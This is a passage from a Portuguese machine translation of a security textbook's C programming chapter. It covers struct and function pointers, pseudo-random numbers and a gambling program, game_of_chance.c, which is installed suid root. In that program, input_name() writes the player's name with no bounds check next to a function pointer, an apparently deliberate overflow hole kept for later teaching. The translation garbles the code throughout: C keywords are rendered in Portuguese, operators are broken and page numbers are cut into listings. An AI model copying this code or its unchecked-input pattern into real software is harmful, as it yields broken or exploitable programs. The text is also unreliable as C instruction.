um</p><p>ponteiro estruturador como tempo_ptr, os elementos estruturantes podem</p><p>ser acessados de forma semelhante pelo nome do elemento estruturador,</p><p>mas utilizando uma série de caracteres que se parecem com uma seta</p><p>apontando para a direita. Portanto, time_ptr->tm_min acessará o elemento</p><p>tm_min da estrutura tm que é apontado pelo time_ptr. Os segundos podem ser</p><p>acessados através de qualquer um destes métodos próprios, usando o</p><p>elemento tm_sec ou a estrutura tm, mas um terceiro método é usado. Você</p><p>pode descobrir como este terceiro método funciona?</p><p>reader@hacking:~/booksrc $ gcc time_example.c</p><p>reader@hacking:~/booksrc $ ./a.out</p><p>tempo() - segundos desde a época:</p><p>1189311588 O tempo atual é: 04:19:48</p><p>reader@hacking:~/booksrc $ ./a.out time()</p><p>- segundos desde a época: 1189311600 O</p><p>tempo atual é 04:20:00</p><p>reader@hacking:~/booksrc $</p><p>O programa funciona como esperado, mas como os segundos estão</p><p>sendo acessados na estrutura tm? Lembre-se de que no final, tudo é apenas</p><p>memória. Como o tm_sec é definido no início da estrutura tm, esse valor</p><p>inteiro também é encontrado no início. Na linha second = *((int *) time_ptr), a</p><p>variável time_ptr é datilografada de um ponteiro de estrutura tm para um</p><p>ponteiro inteiro. Em seguida, este ponteiro datilografado é desreferenciado,</p><p>retornando os dados no endereço do ponteiro. Como o endereço para a</p><p>estrutura tm também aponta para o primeiro elemento desta estrutura, isto</p><p>recuperará o valor inteiro para tm_sec na estrutura. A seguinte adição ao</p><p>código time_example.c (time_example2.c) também descarta os bytes do</p><p>tempo_actual. Isto mostra que os elementos da estrutura tm estão bem</p><p>próximos uns dos outros na memória. Os elementos mais abaixo na estrutura</p><p>também podem ser acessados diretamente com apontadores, simplesmente</p><p>adicionando ao endereço do ponteiro.</p><p>time_example2.c</p><p>#include <stdio.h></p><p>104 0 x 2</p><p>0 0</p><p>#include <time.h></p><p>void dump_time_struct_bytes(struct tm *time_ptr, int size) {</p><p>int i;</p><p>char não assinado *raw_ptr;</p><p>Programação 105</p><p>printf("bytes de estrutura localizada a 0x%08x\n",</p><p>time_ptr); raw_ptr = (char não assinado *) time_ptr;</p><p>para(i=0; i < tamanho; i++)</p><p>{</p><p>printf("%02x ", raw_ptr[i]));</p><p>if(i%16 == 15) // Imprima uma nova linha a cada 16</p><p>bytes. printf("\n");</p><p>}</p><p>printf("\n");</p><p>}</p><p>int main() {)</p><p>longo_semana_de_epoch; estrutura</p><p>tm current_time, *time_ptr;</p><p>int hora, minuto, segundo, i, *int_ptr;</p><p>seconds_since_epoch = time(0); // Pass time a null pointer as argument.</p><p>printf("time() - seconds since epoch: %ld\n", seconds_since_epoch);</p><p>time_ptr = ¤t_time; // Ajuste o time_ptr para o endereço de</p><p>// a atual_estrutura de tempo.</p><p>localtime_r(&seconds_since_epoch, time_ptr);</p><p>// Três formas diferentes de acessar elementos</p><p>estruturais: hora = hora_corrente.tm_hora; //</p><p>minuto de acesso direto = hora_ptr->tm_min; // Acesso via</p><p>ponteiro segundo = *((int *) time_ptr); // Acesso via</p><p>ponteiro Hacky</p><p>printf("Current time is: %02d:%02d:%02d\n", hora, minuto, segundo);</p><p>dump_time_struct_bytes(time_ptr, sizeof(struct tm));</p><p>minuto = hora = 0; // Limpar minuto e hora. int_ptr</p><p>= (int *) time_ptr;</p><p>for(i=0; i < 3; i++) {</p><p>printf("int_ptr @ 0x%08x : %d\n", int_ptr, *int_ptr); int_ptr++;</p><p>// Acrescentar 1 a int_ptr acrescenta 4 ao endereço,</p><p>} // já que uma int é de 4 bytes de tamanho.</p><p>}</p><p>Os resultados da compilação e execução do time_example2.c são os</p><p>seguintes.</p><p>reader@hacking:~/booksrc $ gcc -g time_example2.c</p><p>reader@hacking:~/booksrc $ ./a.out</p><p>tempo() - segundos desde a época: 1189311744</p>
<p>O tempo atual é: 04:22:24</p><p>bytes de estrutura localizados em 0xbffff7f0</p><p>18 00 00 00 16 00 00 00 04 00 00 00 09 00 00 00</p><p>08 00 00 00 6b 00 00 00 00 00 00 00 00 00 00 fb 00 00 00</p><p>00 00 00 00 00 00 00 00 28 a0 04 08</p><p>int_ptr @ 0xbffff7f0 : 24</p><p>int_ptr @ 0xbffffff7f4 : 22</p><p>int_ptr @ 0xbffffff7f8 : 4</p><p>106 0 x 2</p><p>0 0</p><p>reader@hacking:~/booksrc $</p><p>100 0x</p><p>2 0 0</p><p>Embora a memória estrutural possa ser acessada desta forma, são feitas</p><p>suposições sobre o tipo de variáveis na estrutura e a falta de qualquer</p><p>acolchoamento entre as variáveis. Como os tipos de dados dos elementos de</p><p>uma estrutura também são armazenados na estrutura, o uso de métodos</p><p>adequados para acessar os elementos da estrutura é muito mais fácil.</p><p>0x285 Indicadores de função</p><p>Um ponteiro contém simplesmente um endereço de memória e recebe um</p><p>tipo de dado que descreve para onde ele aponta. Normalmente, os</p><p>apontadores são usados para variáveis; no entanto, eles também podem ser</p><p>usados para funções. O programa funcptr_example.c demonstra o uso de</p><p>apontadores de funções.</p><p>funcptr_example.c</p><p>#include <stdio.h></p><p>int func_one() {</p><p>printf("Esta é a função um\n");</p><p>retornar 1;</p><p>}</p><p>int func_two() {</p><p>printf("Esta é a função dois\n");</p><p>retornar 2;</p><p>}</p><p>int main() {</p><p>int value;</p><p>int (*function_ptr) ();</p><p>function_ptr = func_one;</p><p>printf("function_ptr é 0x%08x\n", function_ptr);</p><p>valor = function_ptr();</p><p>printf("valor retornado foi %d\n", valor);</p><p>function_ptr = func_two;</p><p>printf("function_ptr é 0x%08x\n", function_ptr);</p><p>valor = function_ptr();</p><p>printf("valor retornado foi %d\n", valor);</p><p>}</p><p>Neste programa, um ponteiro de função apropriadamente nomeado</p><p>function_ptr é declarado em main(). Este ponteiro é então definido para</p><p>apontar para a função func_one() e é chamado; depois é definido novamente</p><p>e usado para chamar func_two(). A saída abaixo mostra a compilação e</p><p>execução deste código fonte.</p><p>reader@hacking:~/booksrc $ gcc funcptr_example.c</p><p>reader@hacking:~/booksrc $ ./a.out</p><p>function_ptr é 0x08048374</p><p>Esta é a função um</p><p>Programação 101</p><p>valor devolvido foi de 1</p><p>102 0x</p><p>2 0 0</p><p>function_ptr é 0x0804838d</p><p>Esta é a função dois</p><p>valor devolvido foi 2</p><p>leitores@hacking:~/booksrc $</p><p>0x286 Números Pseudo-aleatórios</p><p>Como os computadores são máquinas determinísticas, é impossível para eles</p><p>produzir números verdadeiramente aleatórios. Mas muitas aplicações exigem</p><p>alguma forma de aleatoriedade. As funções do gerador de números pseudo-</p><p>aleatórios preenchem essa necessidade gerando um fluxo de números que é</p><p>pseudo-aleatória. Estas funções podem produzir uma seqüência</p><p>aparentemente aleatória de números iniciada a partir de um número de</p><p>semente; no entanto, a mesma seqüência exata pode ser gerada novamente</p><p>com a mesma semente. Máquinas determinísticas não podem produzir uma</p><p>verdadeira aleatoriedade, mas se o valor da semente da função de geração</p><p>pseudo-aleatória não for conhecido, a</p><p>A seqüência parecerá aleatória. O gerador deve ser semeado com um valor</p><p>usando a função srand(), e a partir desse ponto, a função rand() retornará um</p><p>número pseudo-aleatória de 0 para RAND_MAX. Estas funções e RAND_MAX são</p><p>definidas em stdlib.h. Embora os números rand() pareçam ser aleatórios, eles</p><p>dependem do valor da semente fornecida a srand(). Para manter a pseudo-</p><p>aleatória entre as execuções subseqüentes do programa, o randomizador deve</p><p>ser semeado com um valor diferente a cada vez. Uma prática comum é usar o</p><p>número de segundos desde a época (retornado da função time()) como a</p><p>semente. O programa rand_example.c demonstra esta técnica.</p><p>rand_example.c</p><p>#include <stdio.h></p><p>#include <stdlib.h></p><p>int main()</p><p>{ int i;</p><p>printf("RAND_MAX é %u\n", RAND_MAX);</p><p>srand(time(0));</p><p>printf("valores aleatórios de 0 a RAND_MAX\n"); for(i=0; i</p><p>< 8; i++)</p><p>printf("%d\n", rand());</p><p>printf("valores aleatórios de 1 a 20\n");</p><p>for(i=0; i < 8; i++)</p><p>printf("%d\n", (rand()%20)+1);</p><p>}</p><p>Observe como o operador do módulo é utilizado para obter valores</p><p>aleatórios de 1 a 20.</p><p>reader@hacking:~/booksrc $ gcc rand_example.c</p><p>reader@hacking:~/booksrc $ ./a.out</p><p>RAND_MAX é 2147483647</p><p>valores aleatórios de 0 a RAND_MAX</p><p>Programação 103</p><p>815015288</p><p>1315541117</p><p>2080969327</p><p>450538726</p><p>710528035</p><p>907694519</p><p>1525415338</p><p>1843056422</p><p>valores aleatórios de 1 a 20</p><p>2</p><p>3</p><p>8</p><p>5</p><p>9</p><p>1</p><p>4</p><p>20</p><p>reader@hacking:~/booksrc $ ./a.out</p><p>RAND_MAX é 2147483647</p><p>valores aleatórios de 0 a RAND_MAX 678789658</p><p>577505284</p><p>1472754734</p><p>2134715072</p><p>1227404380</p><p>1746681907</p><p>341911720</p><p>93522744</p><p>valores aleatórios de 1 a 20</p><p>6</p><p>16</p><p>12</p><p>19</p><p>8</p><p>19</p><p>2</p><p>1</p><p>reader@hacking:~/booksrc $</p><p>A saída do programa exibe apenas números aleatórios. Pseudo-aleatória</p><p>também pode ser usada para programas mais complexos, como você verá no</p><p>roteiro final desta seção.</p><p>0x287 Um Jogo de Oportunidades</p><p>O programa final nesta seção é um conjunto de jogos de azar que utilizam</p><p>muitos dos conceitos que discutimos. O programa usa funções geradoras de</p><p>números pseudo-aleatórios para fornecer o elemento do acaso. Ele tem três</p><p>funções de jogo diferentes, que são chamadas usando um único ponteiro de</p><p>função global, e usa estruturas para armazenar dados para o jogador, que são</p><p>salvos em um arquivo. As permissões de arquivos de múltiplos usuários e IDs</p><p>de usuários permitem que vários usuários joguem e mantenham seus</p><p>próprios dados de conta. O código do programa game_of_chance.c está</p><p>fortemente documentado, e você deve ser capaz de entendê-lo neste ponto.</p><p>104 0x</p><p>2 0 0</p><p>game_of_chance.c</p><p>#incluir <stdio.h> #incluir</p><p><string.h> #incluir</p><p><fcntl.h> #incluir</p><p><sys/stat.h> #incluir</p><p><tempo.h> #incluir</p><p><stdlib.h> #incluir</p><p>"hacking.h</p><p>#define DATAFILE "/var/chance.data" // Arquivo para armazenar dados do usuário</p><p>// Estruturação personalizada do usuário para armazenar</p><p>informações sobre o usuário estruturação do usuário {</p><p>int uid; int</p><p>créditos;</p><p>no highscore;</p><p>nome do</p><p>char[100];</p><p>int (*current_game) ();</p><p>};</p><p>// Protótipos de</p><p>funções int</p><p>get_player_data();</p><p>void register_new_player();</p><p>void update_player_data();</p><p>void show_highscore(); void</p><p>jackpot();</p><p>nome_nome_de_entrada vazio();</p><p>void print_cards(char *, char *, int);</p><p>int take_wager(int, int);</p><p>jogo_nulo_o_jogo(); int</p><p>pick_a_number(); int</p><p>dealer_no_match(); int</p><p>find_the_ace(); void</p><p>fatal(char *);</p><p>// Variáveis globais</p><p>estruturador de usuários; // Estruturação do jogador</p><p>int main() {)</p><p>int choice, last_game;</p><p>srand(time(0)); // Semeia o randomizer com a hora atual.</p><p>if(get_player_data() == -1) // Tente ler os dados do player a partir</p><p>do arquivo.</p><p>register_new_player(); // Se não houver dados, cadastre um novo jogador.</p><p>while(escolha != 7) {</p><p>printf("-=[ Menu do Jogo de Oportunidade ]=-\n");</p><p>printf("1 - Jogue o jogo Pick a Number\n");</p><p>printf("2 - Jogue o jogo No Match Dealer\n");</p><p>Programação 105</p><p>printf("3 - Jogue o jogo Find the Ace game\n");</p><p>printf("4 - Veja a alta pontuação atual\n");</p><p>printf("5 - Mude seu nome de usuário\n");</p><p>106 0x</p><p>2 0 0</p><p>printf("6 - Reset your account at 100 credits\n");</p><p>printf("7 - Quit\n");</p><p>printf("[Nome: %s]\n", player.name);</p><p>printf("[Você tem %u créditos] -> ", player.credits);</p><p>scanf("%d", &choice);</p><p>if((escolha < 1) ||| (escolha > 7))</p><p>printf("\n[!!] O número %d é uma seleção inválida.\n", escolha);</p><p>senão se (escolha < 4) { // Caso contrário, a escolha foi um jogo de</p><p>algum tipo. if(escolha != último_jogo) { // Se a função ptr não</p><p>estiver definida</p><p>if(escolha == 1) // então aponte-o para o game</p><p>player.current_game = pick_a_number;</p><p>senão se(escolha == 2)</p><p>player.current_game = dealer_no_match;</p><p>else</p><p>player.current_game = find_the_ace;</p><p>last_game = escolha; // e definir último_jogo.</p><p>}</p><p>play_the_game(); // Jogue o jogo.</p><p>}</p><p>caso contrário, se</p><p>(escolha == 4)</p><p>show_highscore();</p><p>senão se (escolha == 5) {</p><p>printf("\nAlterar nome do</p><p>usuário\n"); printf("Digite seu</p><p>novo nome: "); input_name();</p><p>printf("Seu nome foi mudado.\n");</p><p>}</p><p>senão se (escolha == 6) {</p><p>printf("sua conta foi redefinida com 100 créditos.\n");</p><p>player.credits = 100;</p><p>}</p><p>}</p><p>update_player_data();</p><p>printf("Obrigado por jogar! Tchau.\n");</p><p>}</p><p>// Esta função lê os dados do jogador para o uid atual</p><p>// do arquivo. Ele retorna</p>
<p>-1 se não conseguir encontrar o player</p><p>// dados para o uid. int</p><p>get_player_data() {</p><p>int fd, uid, read_bytes;</p><p>estruturar a entrada do</p><p>usuário;</p><p>uid = getuid();</p><p>fd = aberto(DATAFILE, O_RDONLY);</p><p>se(fd == -1) // Não consegue abrir o arquivo, talvez ele</p><p>não exista retorno -1;</p><p>read_bytes = read(fd, &entry, sizeof(struct user)); // Leia o primeiro</p><p>trecho. while(entry.uid != uid && read_bytes > 0) { // Loop até encontrar o uid</p><p>adequado.</p><p>Programação 107</p><p>read_bytes = read(fd, &entry, sizeof(struct user)); // Continue lendo.</p><p>}</p><p>fechar(fd); // Fechar o arquivo.</p><p>if(read_bytes < sizeof(struct user)) // Isto significa que o fim do arquivo foi alcançado.</p><p>108 0x</p><p>2 0 0</p><p>retornar -1;</p><p>caso contrário</p><p>player = entrada; // Copiar a entrada lida na estrutura do player.</p><p>retorno 1; // Retornar um sucesso.</p><p>}</p><p>// Esta é a nova função de registro de usuário.</p><p>// Ele criará uma nova conta de jogador e a anexará ao arquivo.</p><p>void register_new_player() {</p><p>int fd;</p><p>printf("-=-=={ Registro de Novo Jogador } = - = - \ n ");</p><p>printf("Digite seu nome: ");</p><p>input_name();</p><p>player.uid = getuid();</p><p>player.highscore = player.credits = 100;</p><p>fd = open(DATAFILE, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);</p><p>if(fd == -1)</p><p>fatal("in register_new_player() while opening file");</p><p>write(fd, &player, sizeof(struct user));</p><p>fechar(fd);</p><p>printf("\nWelcome to the Game of Chance %s.\n", player.name);</p><p>printf("You have been given %u credits.\n", player.credits);</p><p>}</p><p>// Esta função grava os dados atuais do jogador no arquivo.</p><p>// É usado principalmente para atualizar os créditos após os</p><p>jogos. void update_player_data() {</p><p>int fd, i, read_uid;</p><p>char burned_byte;</p><p>fd = aberto(DATAFILE, O_RDWR);</p><p>if(fd == -1) // Se a abertura falhar aqui, algo está realmente</p><p>errado. fatal("in update_player_data() while opening file");</p><p>read(fd, &read_uid, 4); // Leia o uid da primeira estrutura.</p><p>while(read_uid != player.uid) { // Loop até que o uid correto seja</p><p>encontrado.</p><p>for(i=0; i < sizeof(struct user) - 4; i++) // Leia através do read(fd,</p><p>&burned_byte, 1); // restante dessa</p><p>estrutura.</p><p>read(fd, &read_uid, 4); // Leia o uid a partir da próxima estrutura.</p><p>}</p><p>write(fd, &(player.credits), 4); // Atualizar</p><p>créditos. write(fd, &(player.highscore), 4); // Atualizar</p><p>highscore. write(fd, &(player.name), 100); //</p><p>Atualizar nome. close(fd);</p><p>}</p><p>// Esta função exibirá a alta pontuação atual e</p><p>// o nome da pessoa que definiu essa pontuação alta.</p><p>highscore() {</p><p>não assinado no top_score = 0;</p><p>Programação 109</p><p>nome_do_marcador[100];</p><p>entrada de usuários estruturados;</p><p>110 0x</p><p>2 0 0</p><p>int fd;</p><p>printf("\n====================| HIGH SCORE</p><p>| = = = = = = = = = = = = = = = = = = = = \ n "); fd = aberto(DATAFILE, O_RDONLY);</p><p>if(fd == -1)</p><p>fatal("in show_highscore() while opening file");</p><p>while(read(fd, &entry, sizeof(struct user)) > 0) { // Loop até o final do</p><p>arquivo. if(entry.highscore > top_score) { // Se houver uma</p><p>pontuação mais alta,</p><p>top_score = entrada.highscore; // definir top_score para aquela</p><p>pontuação strcpy(top_name, entry.name); // e top_name para aquele</p><p>nome de usuário.</p><p>}</p><p>}</p><p>fechar(fd);</p><p>if(top_score > player.highscore)</p><p>printf("%s tem a pontuação alta de %u\n", top_name, top_score);</p><p>caso contrário</p><p>printf("Você tem atualmente a pontuação alta de %u créditos!\n", player.highscore);</p><p>printf("======================================================\n");</p><p>}</p><p>// Esta função simplesmente atribui o jackpot para o jogo Pick a Number.</p><p>jackpot nulo() {</p><p>printf("*++*+*+*+*++** JACKPOT *++*+*+*+*+**\n");</p><p>printf("Você ganhou o jackpot de 100 créditos!\n");</p><p>player.credits += 100;</p><p>}</p><p>// Esta função é utilizada para introduzir o nome do jogador, uma vez que</p><p>// scanf("%s", & o que quer que seja) parará a entrada no</p><p>primeiro espaço. nome_nome_de_entrada vazio() {</p><p>char *name_ptr, input_char='\n';</p><p>while(input_char == '\n') // Descarregar</p><p>qualquer sobra de scanf("%c", &input_char); //</p><p>chars de nova linha.</p><p>nome_ptr = (char *) &(nome.jogador); // nome_ptr = endereço do nome do</p><p>jogador while(input_char != '\n') { // Loop até a nova linha.</p><p>*nome_ptr = input_char; // Coloque o char de entrada no campo</p><p>do nome. scanf("%c", &input_char); // Obtenha o próximo char.</p><p>nome_ptr+++; // Incrementar o ponteiro do nome.</p><p>}</p><p>*nome_ptr = 0; // Terminar a corda.</p><p>}</p><p>// Esta função imprime as 3 cartas para o jogo Find the Ace.</p><p>// Espera uma mensagem a ser exibida, um ponteiro para a matriz de cartões,</p><p>// e o cartão que o usuário escolheu como entrada. Se o usuário_pick é</p><p>// -1, depois são exibidos os números de seleção.</p><p>cartões de impressão vazios(char *message, char *cards, int</p><p>user_pick) { int i;</p><p>printf("\t*** %s ***\n", mensagem);</p><p>printf(" \t._.t._.t._.n");</p><p>Programação 111</p><p>printf("Cartões:\t|%c|%c|%c|%c|n", cartões[0], cartões[1], cartões[2]);</p><p>if(user_pick == -1)</p><p>printf(" 1 \t 2 \t 3\n");</p><p>112 0x</p><p>2 0 0</p><p>senão {</p><p>for(i=0; i < user_pick; i++)</p><p>printf("\t");</p><p>printf(" ^-- sua escolha\n");</p><p>}</p><p>}</p><p>// Esta função aposta tanto para o "No Match Dealer" como para o "No Match Dealer".</p><p>// Encontre os jogos de Ás. Ele espera os créditos disponíveis e o</p><p>// Aposta anterior como argumentos. A aposta_prévia é apenas importante</p><p>// para a segunda aposta no jogo Find the Ace. A função</p><p>// retorna -1 se a aposta for muito grande ou muito pequena, e retorna</p><p>// o valor da aposta de outra forma.</p><p>int take_wager(int créditos_disponibilizados, int</p><p>previous_wager) { int wager, total_wager;</p><p>printf("Quantos de seus %d créditos você gostaria de apostar? ", créditos_d disponíveis);</p><p>scanf("%d", &wager);</p><p>if(wager < 1) { // Certifique-se de que a aposta seja maior</p><p>que 0. printf("Boa tentativa, mas você deve apostar um</p><p>número positivo!\n"); retornar -1;</p><p>}</p><p>aposta_total = aposta_anterior + aposta;</p><p>if(total_wager > available_credits) { // Confirme os créditos disponíveis</p><p>printf("Sua aposta total de %d é mais do que você tem!\n", total_wager);</p><p>printf("Você só tem %d créditos disponíveis, tente novamente.\n",</p><p>créditos_disponíveis); retorno -1;</p><p>}</p><p>Aposta de retorno;</p><p>}</p><p>// Esta função contém um laço para permitir que o jogo atual seja</p><p>// jogado novamente. Ele também escreve os novos totais de crédito para arquivar</p><p>// depois de cada jogo. void</p><p>play_the_game() {</p><p>int play_again = 1;</p><p>int (*game) ();</p><p>seleção de</p><p>caracteres;</p><p>while(play_again) {</p><p>printf("\n[DEBUG] indicador de jogo_corrente @ 0x%08x\n", player.current_game);</p><p>if(player.current_game() != -1) { // Se o jogo joga sem erros e</p><p>if(player.credits > player.highscore) // uma nova pontuação alta é</p><p>definida, player.highscore = player.credits; // atualizar a</p><p>pontuação alta.</p><p>printf("Você agora tem %u credits\n", player.credits);</p><p>update_player_data(); // Escreva o novo crédito total para</p><p>arquivar. printf("Você gostaria de jogar novamente? (y/n) " );</p><p>seleção = '\n';</p><p>while(seleção == '\n') // Lave qualquer linha nova</p><p>extra. scanf("%c", &selection);</p><p>if(selection == 'n')</p><p>play_again = 0;</p><p>}</p><p>Programação 113</p><p>senão // Isto significa que o jogo retornou um erro,</p><p>play_again = 0; // então retorne ao menu principal.</p><p>114 0x</p><p>2 0 0</p><p>}</p><p>}</p><p>// Esta função é o jogo Pick a Number.</p><p>// Ele retorna -1 se o jogador não tiver créditos</p><p>suficientes. int pick_a_number() {</p><p>int pick, winning_number;</p><p>printf("\n####### Pick a Number ######\n");</p><p>printf("Este jogo custa 10 créditos para jogar. Basta escolher um</p><p>número\n"); printf("entre 1 e 20, e se você escolher o número vencedor,</p><p>você\n"); printf("ganhará o jackpot de 100 créditos!\n");</p><p>número_vencedor = (rand() % 20) + 1; // Escolha um número entre 1 e 20.</p><p>if(player.credits < 10) {</p><p>printf("Você só tem %d créditos. Isso não é suficiente para jogar!\n", player.credits);</p><p>retornar -1; // Não tem créditos suficientes para jogar</p><p>}</p><p>player.credits -= 10; // Deduzir 10 créditos.</p><p>printf("10 créditos foram deduzidos de sua conta.\n"); printf("Escolha</p><p>um número entre 1 e 20: ");</p><p>scanf("%d", &pick);</p><p>printf("O número vencedor é %d\n", número_ ganhador); if(pick</p><p>== número_ ganhador)</p><p>jackpot();</p><p>caso contrário</p><p>printf("Desculpe, você não</p><p>ganhou.\n"); retornar 0;</p><p>}</p><p>// Este é o jogo No Match Dealer.</p>
<p>// Retorna -1 se o jogador tiver 0 créditos.</p><p>int dealer_no_match() {</p><p>int i, j, números[16], aposta = -1, partida = -1;</p><p>printf("\n::::::: No Match Dealer :::::::\n");</p><p>printf("Neste jogo, você pode apostar até todos os seus créditos.\n");</p><p>printf("O revendedor negociará 16 números aleatórios entre 0 e 99.\n");</p><p>printf("Se não houver correspondências entre eles, você dobra seu</p><p>dinheiro!\n");</p><p>if(player.credits == 0) {</p><p>printf("Você não tem nenhum crédito para</p><p>apostar!\n\n"); retornar -1;</p><p>}</p><p>while(wager == -1)</p><p>wager = take_wager(player.credits, 0);</p><p>printf("\t:::: Distribuindo 16 números aleatórios :::\n");</p><p>for(i=0; i < 16; i++) {\t:::: Distribuindo 16 números</p><p>aleatórios :::\n</p><p>números[i] = rand() % 100; // Escolha um número entre 0 e 99.</p><p>printf("%2d\t", números[i]);</p><p>if(i%8 == 7) // Imprimir uma quebra de linha a</p><p>cada 8 números. printf("\n");</p><p>Programação 115</p><p>}</p><p>for(i=0; i < 15; i++) { // Loop à procura de fósforos.</p><p>116 0x</p><p>2 0 0</p><p>j = i + 1;</p><p>while(j < 16) {</p><p>if(números[i] == números[j])</p><p>correspondem =</p><p>números[i];</p><p>j++;</p><p>}</p><p>}</p><p>if(match != -1) {</p><p>printf("O revendedor igualou o número %d!\n", partida);</p><p>printf("Você perde %d créditos.\n", aposta);</p><p>player.credits -= aposta;</p><p>{} else {</p><p>printf("Não houve jogos! Você ganha %d créditos!\n", aposta);</p><p>player.credits += aposta;</p><p>}</p><p>retornar 0;</p><p>}</p><p>// Este é o jogo Find the Ace.</p><p>// Retorna -1 se o jogador tiver 0 créditos.</p><p>int find_the_ace() {</p><p>int i, ace, total_wager;</p><p>int invalid_choice, pick = -1, wager_one = -1, wager_two = -1; char</p><p>choice_two, cards[3] = { 'X', 'X', 'X'};</p><p>ace = rand()%3; // Coloque o ace aleatoriamente.</p><p>printf("******* Find the Ace *******\n");</p><p>printf("Neste jogo, você pode apostar até todos os seus créditos.\n");</p><p>printf("Três cartas serão distribuídas, duas rainhas e um ás.\n");</p><p>printf("Se você encontrar o ás, ganhará sua aposta.\n"); printf("Depois de</p><p>escolher uma carta, uma das rainhas será revelada.\n"); printf("Neste</p><p>ponto, você pode selecionar uma carta diferente ou \n"); printf("aumente</p><p>sua aposta.\n");</p><p>if(player.credits == 0) {</p><p>printf("Você não tem nenhum crédito para</p><p>apostar!\n\n"); retornar -1;</p><p>}</p><p>while(wager_one == -1) // Loop até que a aposta válida seja</p><p>feita. wager_one = take_wager(player.credits, 0);</p><p>print_cards("Dealing cards", cartões, -</p><p>1); pick = -1;</p><p>while((pick < 1) ||| (pick > 3)) { // Loop até que seja feita uma pick</p><p>válida. printf("Selecione uma carta: 1, 2, ou 3 ");</p><p>scanf("%d", &pick);</p><p>}</p><p>pick--; // Ajuste a pick desde que a numeração das cartas</p><p>começa em 0. i=0;</p><p>while(i == ace ||| i == pick) // Mantenha o looping até</p><p>i++; // encontramos uma rainha válida</p><p>para revelar. cartões[i] = 'Q';</p><p>Programação 117</p><p>print_cards("Revelando uma rainha", cartões, pick);</p><p>118 0x</p><p>2 0 0</p><p>invalid_choice = 1;</p><p>while(invalid_choice) { // Loop até que uma escolha válida seja feita.</p><p>printf("Você gostaria de:\n[c]pendurar sua palheta [i]aumentar sua aposta?\n");</p><p>printf("Selecione c ou i: ");</p><p>choice_two = '\n';</p><p>while(choice_two == '\n') // Flush extra newlines.</p><p>scanf("%c", &choice_two);</p><p>if(choice_two == 'i') { // Aumentar a aposta.</p><p>inválido_escolha=0; // Esta é uma escolha</p><p>válida.</p><p>while(wager_two == -1) // Loop até que a segunda aposta seja</p><p>válida. wager_two = take_wager(player.credits, wager_one);</p><p>}</p><p>if(choice_two == 'c') { // Alterar</p><p>escolha. i = escolha_ inválida = 0; //</p><p>escolha válida</p><p>while(i === pick ||| cards[i] == 'Q') // Loop até a outra carta</p><p>i++; // é encontrada,</p><p>pick = i; // e depois trocar o pick.</p><p>printf("Your card pick has been changed to card %d\n", pick+1);</p><p>}</p><p>}</p><p>for(i=0; i < 3; i++) { // Revelar todas as cartas.</p><p>if(ace == i)</p><p>cartões[i] =</p><p>'A'; caso</p><p>contrário</p><p>cartões[i] = 'Q';</p><p>}</p><p>print_cards("resultado final", cartões, pick);</p><p>if(pick == ás) { // Handle win.</p><p>printf("Você ganhou %d créditos de sua primeira aposta\n", aposta_uma);</p><p>player.credits += aposta_uma;</p><p>if(wager_two != -1) {</p><p>printf("e uma %d adicional de créditos de sua segunda aposta!\n", aposta_dois);</p><p>player.credits += aposta_dois;</p><p>}</p><p>} else { // Manusear a perda.</p><p>printf("Você perdeu %d créditos de sua primeira aposta\n", aposta_uma);</p><p>player.credits -= aposta_uma;</p><p>if(wager_two != -1) {</p><p>printf("e uma %d adicional de créditos de sua segunda aposta!\n", aposta_dois);</p><p>player.credits -= aposta_dois;</p><p>}</p><p>}</p><p>retornar 0;</p><p>}</p><p>Como este é um programa multi-usuário que escreve em um arquivo no</p><p>diretório /var dir- ectory, ele deve ser suid root.</p><p>reader@hacking:~/booksrc $ gcc -o game_of_chance game_of_chance.c</p><p>reader@hacking:~/booksrc $ sudo chown root:root ./game_of_chance</p><p>Programação 119</p><p>reader@hacking:~/booksrc $ sudo chmod u+s ./game_of_chance reader@hacking:~/booksrc</p><p>$ ./game_of_chance reader</p><p>120 0x</p><p>2 0 0</p><p>-=-=={ Registro de Novo Jogador } = - = -</p><p>Digite seu nome: Jon Erickson</p><p>Bem-vindo ao Game of Chance, Jon Erickson. Você</p><p>recebeu 100 créditos.</p><p>-=[ Menu do Jogo de Oportunidades ]=-</p><p>1 - Jogue o jogo Pick a Number</p><p>2 - Jogue o jogo No Match Dealer</p><p>3 - Jogue o jogo Find the Ace</p><p>4 - Veja a alta pontuação atual</p><p>5 - Mude seu nome de usuário</p><p>6 - Redefinir sua conta em 100 créditos</p><p>7 - Sair</p><p>[Nome: Jon Erickson]</p><p>[Você tem 100 créditos] - > 1</p><p>[DEBUG] ponteiro do jogo_actual @ 0x08048e6e</p><p>####### Escolha um número ######</p><p>Este jogo custa 10 créditos para jogar. Basta escolher um</p><p>número entre 1 e 20, e se você escolher o número vencedor,</p><p>você ganhará o jackpot de 100 créditos!</p><p>10 créditos foram deduzidos de sua conta. Escolha um</p><p>número entre 1 e 20: 7</p><p>O número vencedor é 14.</p><p>Desculpe, você não</p><p>ganhou.</p><p>Agora você tem 90 créditos.</p><p>Você gostaria de jogar novamente? (y/n) n</p><p>-=[ Menu do Jogo de Oportunidades ]=-</p><p>1 - Jogue o jogo Pick a Number</p><p>2 - Jogue o jogo No Match Dealer</p><p>3 - Jogue o jogo Find the Ace</p><p>4 - Veja a alta pontuação atual</p><p>5 - Mude seu nome de usuário</p><p>6 - Redefinir sua conta em 100 créditos</p><p>7 - Sair</p><p>[Nome: Jon Erickson]</p><p>[Você tem 90 créditos] - > 2</p><p>[DEBUG] ponteiro do jogo_actual @ 0x08048f61</p><p>::::::: No Match Dealer ::::::::</p><p>Neste jogo, você pode apostar até todos os seus créditos.</p><p>O revendedor negociará 16 números aleatórios entre 0 e 99. Se não</p><p>houver correspondências entre eles, você dobrará seu dinheiro!</p><p>Quantos de seus 90 créditos você gostaria de apostar? 30</p><p>::: Lidando com 16 números aleatórios ::::</p><p>88 68 82 51 21 73 80 50</p><p>11 64 78 85 39 42 40 95</p><p>Não houve fósforos! Você ganha 30 créditos!</p><p>Programação 121</p><p>Você agora tem 120 créditos</p><p>122 0x</p><p>2 0 0</p><p>Você gostaria de jogar novamente? (y/n) n</p><p>-=[ Menu do Jogo de Oportunidades ]=-</p><p>1 - Jogue o jogo Pick a Number</p><p>2 - Jogue o jogo No Match Dealer</p><p>3 - Jogue o jogo Find the Ace</p><p>4 - Veja a alta pontuação atual</p><p>5 - Mude seu nome de usuário</p><p>6 - Redefinir sua conta em 100 créditos</p><p>7 - Sair</p><p>[Nome: Jon Erickson]</p><p>[Você tem 120 créditos] - > 